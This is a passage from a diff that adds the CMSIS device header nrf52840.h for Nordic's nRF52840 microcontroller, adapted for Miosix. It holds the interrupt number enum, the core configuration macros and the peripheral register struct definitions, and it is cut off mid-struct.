Redistributions in binary form, except as embedded into a Nordic + * Semiconductor ASA integrated circuit in a product or a software update for + * such product, must reproduce the above copyright notice, this list of + * conditions and the following disclaimer in the documentation and/or other + * materials provided with the distribution. + * + * 3. Neither the name of Nordic Semiconductor ASA nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * 4. This software, with or without modification, must only be used with a + * Nordic Semiconductor ASA integrated circuit. + * + * 5. Any software provided in binary form under this license must not be reverse + * engineered, decompiled, modified and/or disassembled. + * + * THIS SOFTWARE IS PROVIDED BY NORDIC SEMICONDUCTOR ASA "AS IS" AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY, NONINFRINGEMENT, AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL NORDIC SEMICONDUCTOR ASA OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE + * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT + * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * @file nrf52840.h + * @brief CMSIS HeaderFile + * @version 1 + * @date 14. May 2021 + * @note Generated by SVDConv V3.3.35 on Friday, 14.05.2021 15:32:44 + * from File 'nrf52840.svd', + * last modified on Friday, 14.05.2021 13:32:37 + */ + + + +/** @addtogroup Nordic Semiconductor + * @{ + */ + + +/** @addtogroup nrf52840 + * @{ + */ + + +#ifndef NRF52840_H +#define NRF52840_H + +#ifdef __cplusplus +extern "C" { +#endif + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum { +/* ======================================= ARM Cortex-M4 Specific Interrupt Numbers ======================================== */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ +/* ========================================== nrf52840 Specific Interrupt Numbers ========================================== */ + POWER_CLOCK_IRQn = 0, /*!< 0 POWER_CLOCK */ + RADIO_IRQn = 1, /*!< 1 RADIO */ + UARTE0_UART0_IRQn = 2, /*!< 2 UARTE0_UART0 */ + SPIM0_SPIS0_TWIM0_TWIS0_SPI0_TWI0_IRQn= 3, /*!< 3 SPIM0_SPIS0_TWIM0_TWIS0_SPI0_TWI0 */ + SPIM1_SPIS1_TWIM1_TWIS1_SPI1_TWI1_IRQn= 4, /*!< 4 SPIM1_SPIS1_TWIM1_TWIS1_SPI1_TWI1 */ + NFCT_IRQn = 5, /*!< 5 NFCT */ + GPIOTE_IRQn = 6, /*!< 6 GPIOTE */ + SAADC_IRQn = 7, /*!< 7 SAADC */ + TIMER0_IRQn = 8, /*!< 8 TIMER0 */ + TIMER1_IRQn = 9, /*!< 9 TIMER1 */ + TIMER2_IRQn = 10, /*!< 10 TIMER2 */ + RTC0_IRQn = 11, /*!< 11 RTC0 */ + TEMP_IRQn = 12, /*!< 12 TEMP */ + RNG_IRQn = 13, /*!< 13 RNG */ + ECB_IRQn = 14, /*!< 14 ECB */ + CCM_AAR_IRQn = 15, /*!< 15 CCM_AAR */ + WDT_IRQn = 16, /*!< 16 WDT */ + RTC1_IRQn = 17, /*!< 17 RTC1 */ + QDEC_IRQn = 18, /*!< 18 QDEC */ + COMP_LPCOMP_IRQn = 19, /*!< 19 COMP_LPCOMP */ + SWI0_EGU0_IRQn = 20, /*!< 20 SWI0_EGU0 */ + SWI1_EGU1_IRQn = 21, /*!< 21 SWI1_EGU1 */ + SWI2_EGU2_IRQn = 22, /*!< 22 SWI2_EGU2 */ + SWI3_EGU3_IRQn = 23, /*!< 23 SWI3_EGU3 */ + SWI4_EGU4_IRQn = 24, /*!< 24 SWI4_EGU4 */ + SWI5_EGU5_IRQn = 25, /*!< 25 SWI5_EGU5 */ + TIMER3_IRQn = 26, /*!< 26 TIMER3 */ + TIMER4_IRQn = 27, /*!< 27 TIMER4 */ + PWM0_IRQn = 28, /*!< 28 PWM0 */ + PDM_IRQn = 29, /*!< 29 PDM */ + MWU_IRQn = 32, /*!< 32 MWU */ + PWM1_IRQn = 33, /*!< 33 PWM1 */ + PWM2_IRQn = 34, /*!< 34 PWM2 */ + SPIM2_SPIS2_SPI2_IRQn = 35, /*!< 35 SPIM2_SPIS2_SPI2 */ + RTC2_IRQn = 36, /*!< 36 RTC2 */ + I2S_IRQn = 37, /*!< 37 I2S */ + FPU_IRQn = 38, /*!< 38 FPU */ + USBD_IRQn = 39, /*!< 39 USBD */ + UARTE1_IRQn = 40, /*!< 40 UARTE1 */ + QSPI_IRQn = 41, /*!< 41 QSPI */ + CRYPTOCELL_IRQn = 42, /*!< 42 CRYPTOCELL */ + PWM3_IRQn = 45, /*!< 45 PWM3 */ + SPIM3_IRQn = 47 /*!< 47 SPIM3 */ +} IRQn_Type; + + + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* =========================== Configuration of the ARM Cortex-M4 Processor and Core Peripherals =========================== */ +#define __CM4_REV 0x0001U /*!< CM4 Core Revision */ +#define __DSP_PRESENT 1 /*!< DSP present or not */ +#define __VTOR_PRESENT 1 /*!< Set to 1 if CPU supports Vector Table Offset Register */ +#define __NVIC_PRIO_BITS 3 /*!< Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0 /*!< Set to 1 if different SysTick Config is used */ +#define __MPU_PRESENT 1 /*!< MPU present */ +#define __FPU_PRESENT 1 /*!< FPU present */ + + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include //By TFT: fix path + +// TODO: modified for Miosix: do we need this? +// #include "system_nrf52840.h" /*!< nrf52840 System */ + +#ifndef __IM /*!< Fallback for older CMSIS versions */ + #define __IM __I +#endif +#ifndef __OM /*!< Fallback for older CMSIS versions */ + #define __OM __O +#endif +#ifndef __IOM /*!< Fallback for older CMSIS versions */ + #define __IOM __IO +#endif + + +/* ======================================== Start of section using anonymous unions ======================================== */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" + #pragma clang diagnostic ignored "-Wgnu-anonymous-struct" + #pragma clang diagnostic ignored "-Wnested-anon-types" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Cluster Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup Device_Peripheral_clusters + * @{ + */ + + +/** + * @brief FICR_INFO [INFO] (Device info) + */ +typedef struct { + __IM uint32_t PART; /*!< (@ 0x00000000) Part code */ + __IM uint32_t VARIANT; /*!< (@ 0x00000004) Build code (hardware version and production configuration) */ + __IM uint32_t PACKAGE; /*!< (@ 0x00000008) Package option */ + __IM uint32_t RAM; /*!< (@ 0x0000000C) RAM variant */ + __IM uint32_t FLASH; /*!< (@ 0x00000010) Flash variant */ +} FICR_INFO_Type; /*!< Size = 20 (0x14) */ + + +/** + * @brief FICR_TEMP [TEMP] (Registers storing factory TEMP module linearization coefficients) + */ +typedef struct { + __IM uint32_t A0; /*!< (@ 0x00000000) Slope definition A0 */ + __IM uint32_t A1; /*!< (@ 0x00000004) Slope definition A1 */ + __IM uint32_t A2; /*!< (@ 0x00000008) Slope definition A2 */ + __IM uint32_t A3; /*!< (@ 0x0000000C) Slope definition A3 */ + __IM uint32_t A4; /*!< (@ 0x00000010) Slope definition A4 */ + __IM uint32_t A5; /*!< (@ 0x00000014) Slope definition A5 */ + __IM uint32_t B0; /*!< (@ 0x00000018) Y-intercept B0 */ + __IM uint32_t B1; /*!< (@ 0x0000001C) Y-intercept B1 */ + __IM uint32_t B2; /*!< (@ 0x00000020) Y-intercept B2 */ + __IM uint32_t B3; /*!< (@ 0x00000024) Y-intercept B3 */ + __IM uint32_t B4; /*!< (@ 0x00000028) Y-intercept B4 */ + __IM uint32_t B5; /*!< (@ 0x0000002C) Y-intercept B5 */ + __IM uint32_t T0; /*!< (@ 0x00000030) Segment end T0 */ + __IM uint32_t T1; /*!< (@ 0x00000034) Segment end T1 */ + __IM uint32_t T2; /*!< (@ 0x00000038) Segment end T2 */ + __IM uint32_t T3; /*!< (@ 0x0000003C) Segment end T3 */ + __IM uint32_t T4; /*!< (@ 0x00000040) Segment end T4 */ +} FICR_TEMP_Type; /*!< Size = 68 (0x44) */ + + +/** + * @brief FICR_NFC [NFC] (Unspecified) + */ +typedef struct { + __IM uint32_t TAGHEADER0; /*!< (@ 0x00000000) Default header for NFC tag. Software can read + these values to populate NFCID1_3RD_LAST, + NFCID1_2ND_LAST, and NFCID1_LAST. */ + __IM uint32_t TAGHEADER1; /*!< (@ 0x00000004) Default header for NFC tag. Software can read + these values to populate NFCID1_3RD_LAST, + NFCID1_2ND_LAST, and NFCID1_LAST. */ + __IM uint32_t TAGHEADER2; /*!< (@ 0x00000008) Default header for NFC tag. Software can read + these values to populate NFCID1_3RD_LAST, + NFCID1_2ND_LAST, and NFCID1_LAST. */ + __IM uint32_t TAGHEADER3; /*!< (@ 0x0000000C) Default header for NFC tag. Software can read + these values to populate NFCID1_3RD_LAST, + NFCID1_2ND_LAST, and NFCID1_LAST. */ +} FICR_NFC_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief FICR_TRNG90B [TRNG90B] (NIST800-90B RNG calibration data) + */ +typedef struct { + __IM uint32_t BYTES; /*!< (@ 0x00000000) Amount of bytes for the required entropy bits */ + __IM uint32_t RCCUTOFF; /*!< (@ 0x00000004) Repetition counter cutoff */ + __IM uint32_t APCUTOFF; /*!< (@ 0x00000008) Adaptive proportion cutoff */ + __IM uint32_t STARTUP; /*!< (@ 0x0000000C) Amount of bytes for the startup tests */ + __IM uint32_t ROSC1; /*!< (@ 0x00000010) Sample count for ring oscillator 1 */ + __IM uint32_t ROSC2; /*!< (@ 0x00000014) Sample count for ring oscillator 2 */ + __IM uint32_t ROSC3; /*!< (@ 0x00000018) Sample count for ring oscillator 3 */ + __IM uint32_t ROSC4; /*!< (@ 0x0000001C) Sample count for ring oscillator 4 */ +} FICR_TRNG90B_Type; /*!< Size = 32 (0x20) */ + + +/** + * @brief POWER_RAM [RAM] (Unspecified) + */ +typedef struct { + __IOM uint32_t POWER; /*!< (@ 0x00000000) Description cluster: RAMn power control register */ + __OM uint32_t POWERSET; /*!< (@ 0x00000004) Description cluster: RAMn power control set register */ + __OM uint32_t POWERCLR; /*!< (@ 0x00000008) Description cluster: RAMn power control clear + register */ + __IM uint32_t RESERVED; +} POWER_RAM_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief UART_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t RTS; /*!< (@ 0x00000000) Pin select for RTS */ + __IOM uint32_t TXD; /*!< (@ 0x00000004) Pin select for TXD */ + __IOM uint32_t CTS; /*!< (@ 0x00000008) Pin select for CTS */ + __IOM uint32_t RXD; /*!< (@ 0x0000000C) Pin select for RXD */ +} UART_PSEL_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief UARTE_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t RTS; /*!< (@ 0x00000000) Pin select for RTS signal */ + __IOM uint32_t TXD; /*!< (@ 0x00000004) Pin select for TXD signal */ + __IOM uint32_t CTS; /*!< (@ 0x00000008) Pin select for CTS signal */ + __IOM uint32_t RXD; /*!< (@ 0x0000000C) Pin select for RXD signal */ +} UARTE_PSEL_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief UARTE_RXD [RXD] (RXD EasyDMA channel) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes in receive buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last transaction */ +} UARTE_RXD_Type; /*!< Size = 12 (0xc) */ + + +/** + * @brief UARTE_TXD [TXD] (TXD EasyDMA channel) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes in transmit buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last transaction */ +} UARTE_TXD_Type; /*!< Size = 12 (0xc) */ + + +/** + * @brief SPI_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t SCK; /*!< (@ 0x00000000) Pin select for SCK */ + __IOM uint32_t MOSI; /*!< (@ 0x00000004) Pin select for MOSI signal */ + __IOM uint32_t MISO; /*!< (@ 0x00000008) Pin select for MISO signal */ +} SPI_PSEL_Type; /*!< Size = 12 (0xc) */ + + +/** + * @brief SPIM_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t SCK; /*!< (@ 0x00000000) Pin select for SCK */ + __IOM uint32_t MOSI; /*!< (@ 0x00000004) Pin select for MOSI signal */ + __IOM uint32_t MISO; /*!< (@ 0x00000008) Pin select for MISO signal */ + __IOM uint32_t CSN; /*!< (@ 0x0000000C) Pin select for CSN */ +} SPIM_PSEL_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief SPIM_RXD [RXD] (RXD EasyDMA channel) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes in receive buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last transaction */ + __IOM uint32_t LIST; /*!< (@ 0x0000000C) EasyDMA list type */ +} SPIM_RXD_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief SPIM_TXD [TXD] (TXD EasyDMA channel) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Number of bytes in transmit buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last transaction */ + __IOM uint32_t LIST; /*!< (@ 0x0000000C) EasyDMA list type */ +} SPIM_TXD_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief SPIM_IFTIMING [IFTIMING] (Unspecified) + */ +typedef struct { + __IOM uint32_t RXDELAY; /*!< (@ 0x00000000) Sample delay for input serial data on MISO */ + __IOM uint32_t CSNDUR; /*!< (@ 0x00000004) Minimum duration between edge of CSN and edge + of SCK and minimum duration CSN must stay + high between transactions */ +} SPIM_IFTIMING_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief SPIS_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t SCK; /*!< (@ 0x00000000) Pin select for SCK */ + __IOM uint32_t MISO; /*!< (@ 0x00000004) Pin select for MISO signal */ + __IOM uint32_t MOSI; /*!< (@ 0x00000008) Pin select for MOSI signal */ + __IOM uint32_t CSN; /*!< (@ 0x0000000C) Pin select for CSN signal */ +} SPIS_PSEL_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief SPIS_RXD [RXD] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) RXD data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes in receive buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes received in last granted transaction */ + __IOM uint32_t LIST; /*!< (@ 0x0000000C) EasyDMA list type */ +} SPIS_RXD_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief SPIS_TXD [TXD] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) TXD data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes in transmit buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transmitted in last granted transaction */ + __IOM uint32_t LIST; /*!< (@ 0x0000000C) EasyDMA list type */ +} SPIS_TXD_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief TWI_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t SCL; /*!< (@ 0x00000000) Pin select for SCL */ + __IOM uint32_t SDA; /*!< (@ 0x00000004) Pin select for SDA */ +} TWI_PSEL_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief TWIM_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t SCL; /*!< (@ 0x00000000) Pin select for SCL signal */ + __IOM uint32_t SDA; /*!< (@ 0x00000004) Pin select for SDA signal */ +} TWIM_PSEL_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief TWIM_RXD [RXD] (RXD EasyDMA channel) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes in receive buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last transaction */ + __IOM uint32_t LIST; /*!< (@ 0x0000000C) EasyDMA list type */ +} TWIM_RXD_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief TWIM_TXD [TXD] (TXD EasyDMA channel) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes in transmit buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last transaction */ + __IOM uint32_t LIST; /*!< (@ 0x0000000C) EasyDMA list type */ +} TWIM_TXD_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief TWIS_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t SCL; /*!< (@ 0x00000000) Pin select for SCL signal */ + __IOM uint32_t SDA; /*!< (@ 0x00000004) Pin select for SDA signal */ +} TWIS_PSEL_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief TWIS_RXD [RXD] (RXD EasyDMA channel) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) RXD Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes in RXD buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last RXD transaction */ + __IOM uint32_t LIST; /*!< (@ 0x0000000C) EasyDMA list type */ +} TWIS_RXD_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief TWIS_TXD [TXD] (TXD EasyDMA channel) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) TXD Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes in TXD buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last TXD transaction */ + __IOM uint32_t LIST; /*!< (@ 0x0000000C) EasyDMA list type */ +} TWIS_TXD_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief NFCT_FRAMESTATUS [FRAMESTATUS] (Unspecified) + */ +typedef struct { + __IOM uint32_t RX; /*!< (@ 0x00000000) Result of last incoming frame */ +} NFCT_FRAMESTATUS_Type; /*!< Size = 4 (0x4) */ + + +/** + * @brief NFCT_TXD [TXD] (Unspecified) + */ +typedef struct { + __IOM uint32_t FRAMECONFIG; /*!< (@ 0x00000000) Configuration of outgoing frames */ + __IOM uint32_t AMOUNT; /*!< (@ 0x00000004) Size of outgoing frame */ +} NFCT_TXD_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief NFCT_RXD [RXD] (Unspecified) + */ +typedef struct { + __IOM uint32_t FRAMECONFIG; /*!< (@ 0x00000000) Configuration of incoming frames */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000004) Size of last incoming frame */ +} NFCT_RXD_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief SAADC_EVENTS_CH [EVENTS_CH] (Peripheral events.) + */ +typedef struct { + __IOM uint32_t LIMITH; /*!< (@ 0x00000000) Description cluster: Last result is equal or + above CH[n].LIMIT.HIGH */ + __IOM uint32_t LIMITL; /*!< (@ 0x00000004) Description cluster: Last result is equal or + below CH[n].LIMIT.LOW */ +} SAADC_EVENTS_CH_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief SAADC_CH [CH] (Unspecified) + */ +typedef struct { + __IOM uint32_t PSELP; /*!< (@ 0x00000000) Description cluster: Input positive pin selection + for CH[n] */ + __IOM uint32_t PSELN; /*!< (@ 0x00000004) Description cluster: Input negative pin selection + for CH[n] */ + __IOM uint32_t CONFIG; /*!< (@ 0x00000008) Description cluster: Input configuration for + CH[n] */ + __IOM uint32_t LIMIT; /*!< (@ 0x0000000C) Description cluster: High/low limits for event + monitoring of a channel */ +} SAADC_CH_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief SAADC_RESULT [RESULT] (RESULT EasyDMA channel) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of 16-bit samples to be written + to output RAM buffer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of 16-bit samples written to output RAM + buffer since the previous START task */ +} SAADC_RESULT_Type; /*!< Size = 12 (0xc) */ + + +/** + * @brief QDEC_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t LED; /*!< (@ 0x00000000) Pin select for LED signal */ + __IOM uint32_t A; /*!< (@ 0x00000004) Pin select for A signal */ + __IOM uint32_t B; /*!< (@ 0x00000008) Pin select for B signal */ +} QDEC_PSEL_Type; /*!< Size = 12 (0xc) */ + + +/** + * @brief PWM_SEQ [SEQ] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Description cluster: Beginning address in RAM + of this sequence */ + __IOM uint32_t CNT; /*!< (@ 0x00000004) Description cluster: Number of values (duty cycles) + in this sequence */ + __IOM uint32_t REFRESH; /*!< (@ 0x00000008) Description cluster: Number of additional PWM + periods between samples loaded into compare + register */ + __IOM uint32_t ENDDELAY; /*!< (@ 0x0000000C) Description cluster: Time added after the sequence */ + __IM uint32_t RESERVED[4]; +} PWM_SEQ_Type; /*!< Size = 32 (0x20) */ + + +/** + * @brief PWM_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t OUT[4]; /*!< (@ 0x00000000) Description collection: Output pin select for + PWM channel n */ +} PWM_PSEL_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief PDM_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t CLK; /*!< (@ 0x00000000) Pin number configuration for PDM CLK signal */ + __IOM uint32_t DIN; /*!< (@ 0x00000004) Pin number configuration for PDM DIN signal */ +} PDM_PSEL_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief PDM_SAMPLE [SAMPLE] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) RAM address pointer to write samples to with + EasyDMA */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Number of samples to allocate memory for in EasyDMA + mode */ +} PDM_SAMPLE_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief ACL_ACL [ACL] (Unspecified) + */ +typedef struct { + __IOM uint32_t ADDR; /*!< (@ 0x00000000) Description cluster: Start address of region + to protect. The start address must be word-aligned. */ + __IOM uint32_t SIZE; /*!< (@ 0x00000004) Description cluster: Size of region to protect + counting from address ACL[n].ADDR. Write + '0' as no effect. */ + __IOM uint32_t PERM; /*!< (@ 0x00000008) Description cluster: Access permissions for region + n as defined by start address ACL[n].ADDR + and size ACL[n].SIZE */ + __IM uint32_t RESERVED; +} ACL_ACL_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief PPI_TASKS_CHG [TASKS_CHG] (Channel group tasks) + */ +typedef struct { + __OM uint32_t EN; /*!< (@ 0x00000000) Description cluster: Enable channel group n */ + __OM uint32_t DIS; /*!< (@ 0x00000004) Description cluster: Disable channel group n */ +} PPI_TASKS_CHG_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief PPI_CH [CH] (PPI Channel) + */ +typedef struct { + __IOM uint32_t EEP; /*!< (@ 0x00000000) Description cluster: Channel n event endpoint */ + __IOM uint32_t TEP; /*!< (@ 0x00000004) Description cluster: Channel n task endpoint */ +} PPI_CH_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief PPI_FORK [FORK] (Fork) + */ +typedef struct { + __IOM uint32_t TEP; /*!< (@ 0x00000000) Description cluster: Channel n task endpoint */ +} PPI_FORK_Type; /*!< Size = 4 (0x4) */ + + +/** + * @brief MWU_EVENTS_REGION [EVENTS_REGION] (Peripheral events.) + */ +typedef struct { + __IOM uint32_t WA; /*!< (@ 0x00000000) Description cluster: Write access to region n + detected */ + __IOM uint32_t RA; /*!< (@ 0x00000004) Description cluster: Read access to region n + detected */ +} MWU_EVENTS_REGION_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief MWU_EVENTS_PREGION [EVENTS_PREGION] (Peripheral events.) + */ +typedef struct { + __IOM uint32_t WA; /*!< (@ 0x00000000) Description cluster: Write access to peripheral + region n detected */ + __IOM uint32_t RA; /*!< (@ 0x00000004) Description cluster: Read access to peripheral + region n detected */ +} MWU_EVENTS_PREGION_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief MWU_PERREGION [PERREGION] (Unspecified) + */ +typedef struct { + __IOM uint32_t SUBSTATWA; /*!< (@ 0x00000000) Description cluster: Source of event/interrupt + in region n, write access detected while + corresponding subregion was enabled for + watching */ + __IOM uint32_t SUBSTATRA; /*!< (@ 0x00000004) Description cluster: Source of event/interrupt + in region n, read access detected while + corresponding subregion was enabled for + watching */ +} MWU_PERREGION_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief MWU_REGION [REGION] (Unspecified) + */ +typedef struct { + __IOM uint32_t START; /*!< (@ 0x00000000) Description cluster: Start address for region + n */ + __IOM uint32_t END; /*!< (@ 0x00000004) Description cluster: End address of region n */ + __IM uint32_t RESERVED[2]; +} MWU_REGION_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief MWU_PREGION [PREGION] (Unspecified) + */ +typedef struct { + __IM uint32_t START; /*!< (@ 0x00000000) Description cluster: Reserved for future use */ + __IM uint32_t END; /*!< (@ 0x00000004) Description cluster: Reserved for future use */ + __IOM uint32_t SUBS; /*!< (@ 0x00000008) Description cluster: Subregions of region n */ + __IM uint32_t RESERVED; +} MWU_PREGION_Type; /*!< Size = 16 (0x10) */ + + +/** + * @brief I2S_CONFIG [CONFIG] (Unspecified) + */ +typedef struct { + __IOM uint32_t MODE; /*!< (@ 0x00000000) I2S mode. */ + __IOM uint32_t RXEN; /*!< (@ 0x00000004) Reception (RX) enable. */ + __IOM uint32_t TXEN; /*!< (@ 0x00000008) Transmission (TX) enable. */ + __IOM uint32_t MCKEN; /*!< (@ 0x0000000C) Master clock generator enable. */ + __IOM uint32_t MCKFREQ; /*!< (@ 0x00000010) Master clock generator frequency. */ + __IOM uint32_t RATIO; /*!< (@ 0x00000014) MCK / LRCK ratio. */ + __IOM uint32_t SWIDTH; /*!< (@ 0x00000018) Sample width. */ + __IOM uint32_t ALIGN; /*!< (@ 0x0000001C) Alignment of sample within a frame. */ + __IOM uint32_t FORMAT; /*!< (@ 0x00000020) Frame format. */ + __IOM uint32_t CHANNELS; /*!< (@ 0x00000024) Enable channels. */ +} I2S_CONFIG_Type; /*!< Size = 40 (0x28) */ + + +/** + * @brief I2S_RXD [RXD] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Receive buffer RAM start address. */ +} I2S_RXD_Type; /*!< Size = 4 (0x4) */ + + +/** + * @brief I2S_TXD [TXD] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Transmit buffer RAM start address. */ +} I2S_TXD_Type; /*!< Size = 4 (0x4) */ + + +/** + * @brief I2S_RXTXD [RXTXD] (Unspecified) + */ +typedef struct { + __IOM uint32_t MAXCNT; /*!< (@ 0x00000000) Size of RXD and TXD buffers. */ +} I2S_RXTXD_Type; /*!< Size = 4 (0x4) */ + + +/** + * @brief I2S_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM 